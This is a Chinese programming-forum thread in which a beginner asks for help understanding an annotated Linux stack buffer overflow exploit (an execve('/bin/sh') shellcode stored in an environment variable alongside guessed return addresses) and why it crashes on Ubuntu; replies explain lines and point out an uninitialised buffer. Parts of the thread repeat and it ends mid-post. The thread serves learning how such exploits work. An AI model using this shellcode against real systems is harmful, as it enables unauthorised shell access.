求解释,缓冲区溢出漏洞利用,对等初级
求解释,缓冲区溢出漏洞利用,相当初级
详细下面的代码大家都很熟悉了,看起来稍长,但是仔细一看很简单的。
我把我理解的已经都注释上了,其中有几句不明白的呀,希望大家帮忙解释一下这几句
求解释其中写着不明白的地方,或者是我理解错的地方,辛苦了
------解决方案--------------------
都嵌入汇编代码了还初级。。。
------解决方案--------------------
lz还是学点正经的东西吧,别走火入魔
------解决方案--------------------
system("/bin/bash");//不明白这是干嘛,这个程序不就是为了得到$BUF环境变量吗,要这句是为什么?
system函数表示执行一个系统命令
------解决方案--------------------
------解决方案--------------------
这段程序根本不能溢出啊,我给该了一下,不过也发现这个shellcode是干嘛的
详细下面的代码大家都很熟悉了,看起来稍长,但是仔细一看很简单的。
我把我理解的已经都注释上了,其中有几句不明白的呀,希望大家帮忙解释一下这几句
#include <stdlib.h>
#define buffer_size 0
#define offset_size 512
//定义SHELLCODE
char sc[]=
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
//获取ESP地址
unsigned long find_start(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[])
{
char *buff,*ptr; //定义两个char指针
long *addr_ptr,addr; //定义两个long指针
int offset=offset_size,bsize=buffer_size; //定义两个整形变量 值为0,512
int i;//定义整形变量
if(argc>1)bsize=atoi(argv[1]);//获取程序参数 赋值给变量 bsize
if(argc>2)offset=atoi(argv[2]);//获取程序参数 赋值给变量 offset
addr=find_start()-offset;//获取esp地址并可以减去一定的偏移(向高地址)
printf("Attempting address:0x%x\n",addr);//输出得到的地址
ptr=buff;//让ptr指针指向buff指针指向的地址
addr_ptr=(long *)ptr;//不明白 让addr_ptr指向ptr所指位置?也指向buff?
for(i=0;i<bsize;i+=4)
*(addr_ptr++)=addr; //不明白 循环填充栈,从*buff所指位置,值为猜测的shellcode地址?导致溢出一直要覆盖到ret 使ret等于shellcode地址
ptr+=4;//此时ptr指向*buff的第5个字符处
for(i=0;i<strlen(sc);i++)
*(ptr++)=sc[i];//不明白 关键来了,作者说他在RED hat9上运行无问题,但是我在ubuntu上运行报错说段错误,按我的理解这地方也就是覆盖buff从第五个字符串开始40个字节为shellcode 为什么错误为什么??
buff[bsize-1]='\0';//为buff做个结束
memcpy(buff,"BUF=",4);//buff前4个字符赋值
putenv(buff);//放入环境变量
system("/bin/bash");//不明白这是干嘛,这个程序不就是为了得到$BUF环境变量吗,要这句是为什么?
}
求解释其中写着不明白的地方,或者是我理解错的地方,辛苦了
------解决方案--------------------
都嵌入汇编代码了还初级。。。
------解决方案--------------------
lz还是学点正经的东西吧,别走火入魔
------解决方案--------------------
system("/bin/bash");//不明白这是干嘛,这个程序不就是为了得到$BUF环境变量吗,要这句是为什么?
system函数表示执行一个系统命令
------解决方案--------------------
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define buffer_size 0
#define offset_size 512
//定义SHELLCODE
char sc[]=
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
//获取ESP地址
unsigned long find_start(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[])
{
char *buff,*ptr; //定义两个char指针
long *addr_ptr,addr; //定义两个long指针
int offset=offset_size,bsize=buffer_size; //定义两个整形变量 值为0,512
int i;//定义整形变量
if(argc>1)bsize=atoi(argv[1]);//获取程序参数 赋值给变量 bsize
if(argc>2)offset=atoi(argv[2]);//获取程序参数 赋值给变量 offset
addr=find_start()-offset;//获取esp地址并可以减去一定的偏移(向高地址)
printf("Attempting address:0x%lx\n",addr);//输出得到的地址
ptr=buff;//注意buff从未被初始化
addr_ptr=(long *)ptr;//相当于指针类型转换,同一个地址,ptr是按照char去寻址,而addr_ptr是按照long去寻址的
for(i=0;i<bsize;i+=4)
*(addr_ptr++)=addr; //导致溢出时使ret等于sc的地址
ptr+=4;//此时ptr指向*buff的第5个字符处
for(i=0;i<strlen(sc);i++)
*(ptr++)=sc[i];//buff没有初始化,所以相应的对ptr的操作极有可能段错误
buff[bsize-1]='\0';//为buff做个结束
memcpy(buff,"BUF=",4);//buff前4个字符赋值
putenv(buff);//放入环境变量
system("/bin/bash");//调出bash shell,准备执行sc
}
------解决方案--------------------
这段程序根本不能溢出啊,我给该了一下,不过也发现这个shellcode是干嘛的
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFF_SIZE 64
char sc[]=
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";